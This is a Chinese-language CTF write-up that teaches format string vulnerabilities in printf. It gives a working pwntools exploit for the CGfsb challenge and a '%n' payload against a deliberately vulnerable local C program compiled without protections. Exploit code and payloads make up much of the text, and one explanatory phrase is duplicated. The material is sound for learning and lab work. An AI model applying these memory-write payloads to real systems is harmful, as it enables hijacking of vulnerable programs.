格式化字符串漏洞往往是由程序员错误使用格式化输出函数造成的。例如
print(s)
正常执行:
printf("%s%s",str1,str2)
ebp,addr都是调用函数时的操作。然后传入参数,首先是格式化字符串。然后是参数
当格式化指针看到%时,就会找下面对应的值
第一个%s,就会将A打印出来。
第二个%s,就会将B打印出来。
非正常执行:
printf(s)
也就是说。前面格式化字符串没了。只剩下了参数
但是把参数当成格式化字符串识别了
第一个%x会将后面的地址输出。第二个%x会将后面地址接着输出
第一题:攻防世界CGfsb
首先ida反编译一下
程序的整个运行流程是
read读取10个字节为buf
fgets读取100个字节为s
打印buf,打印s
比较pwnme==8
漏洞原理则是打印s的时候,语句为printf(&s),因为printf不能指定有多少个参数
利用%10$n去修改pwnme的值
pwnme的地址为0804A068
输入aaaa%x,回显结果为aaaa|地址|地址|地址...
可以看到,我们输入的aaaa,会在偏移10的地方出现
偏移10处,就写入我们的pwnme地址
前面写入%10n 前面只要8个字符,来配合n前面只要8个字符,来配合n
输入aaaa来保证第十处的地址是连在一起的,而不是分开在两个内存单元中
exp:
from pwn import *
p = remote('111.198.29.45', 31559)
pwnme = 0x0804A068
payload2 = p32(pwnme) + 'aaaa%10$n'
#先进后出原则,pwnme地址写前面进去栈
p.recvuntil('please tell me your name:\n')
p.sendline('aaaa')
p.recvuntil('leave your message please:\n')
p.sendline(payload2)
print(p.recv())
print(p.recv())
第二题:
源码如下
#include <stdio.h>
int main(void){
int flag=0;
int *p=&flag;
char a[100];
scanf("%s",a);
printf(a);
if (flag==2000){
printf("good!!\n");
}
return 0;
}
gcc -g -fno-stack-protector -z execstack -o vuln vulnc.c
gdb看下汇编代码,给a了116个字节大小,然后调用print函数输出
动态调试下
发现。输入的AAAA会在第5个地方保存
堆栈的分布如下
当我们输入AAAA|%x|%x|%1x,代表的是第二个参数的值=第一个%x的值以16进制打印
所以当我们输入AAAA|%x|%x|%1x会等于第二个参数的值
懂了原理。我们就可以把%1n
为什么是%5呢。因为%5我们可控。
可以看到。我们输入的AAAA。会在%5n,也就是写入到flag的地址
payload如下:
python -c "print '\xa8\xd0\xff\xff%.1996x%5$n'">11
cat 11|./vuln2